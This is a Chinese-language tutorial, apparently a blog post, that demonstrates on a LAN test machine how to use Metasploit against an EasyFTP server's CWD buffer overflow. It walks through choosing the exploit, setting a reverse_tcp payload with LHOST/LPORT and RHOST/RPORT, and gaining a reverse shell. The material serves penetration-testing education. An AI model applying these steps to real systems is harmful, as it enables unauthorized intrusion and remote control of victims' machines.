Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D.Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,密码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
这里我们演示的是局域网内一台安装了easyftpv1.7.0.11程序的机器。ip为192.168.0.2
首先,我们使用msfupdate来更新metasploit
在更新界面,我们输入P后永远接受,之后无需再次确认
更新中。。。
但是现在backtrack5这样更新会出现更新失败的事情,我前面写了一篇文章来介绍如何更新metasploit
更新结束后,我们使用msfconsole来打开metasploit的控制台
对于任何的命令我没呢都可以使用help参数来获得帮助
在溢出easyftpv1.7.0.11之前,我们先了解改程序具体的溢出漏洞是什么。
通常,我们可以在exploit-db.com搜索即可查询到。
注意最后一项,EasyFTPServer<=1.7.0.2CWDBufferOverfiow(metasploit)
这里,我们将使用metasploit利用CWD缓冲区溢出漏洞拿下目标机器的权限
因为我们已经知道目标机器安装了存在漏洞的低版本服务器软件easyftpv1.7.0.11我们可以直接easyftp的exploit
终端执行searcheasyftp,在返回的结果中,我没呢看到了4条记录,我们使用第一个exploit
如果我没们对于这个exploit不熟悉,可以使用info来查看
在查看是,basicoptions这一项将给我们说明如何利用
requires下有yes的,表示为需要用到的参数,这里有两个需要使用的参数:
RHOST:指定目标机器的IP地址
RPORT:指定目标机器的目标端口
现在我们对攻击进行设置一下:
setg是进行全局设置
setgLHOST本机的IP地址
setgLPORT本机监听的端口,用来接受反弹连接
setgPAYLOAD攻击载荷,这里使用reverse_tcp,若用其他的,可以在控制台
执行showpayloads查看
setgRHOST攻击目标的ip地址
setgRPORT21端口为ftp开放的端口,在实际的渗透过程中,我们需要先使用
nmap在确定端口,nessus确定漏洞,再进行metasploit攻击!
showtargets(设置攻击程序的版本)
攻击目标额版本我们选择第9个,因为目标机器使用的就是这个版本
终端执行setgtarget9
然后执行exploit进行溢出
现在我们就得到了一个反弹的shell连接在我们的机器上
我们可以执行各种的cmd命令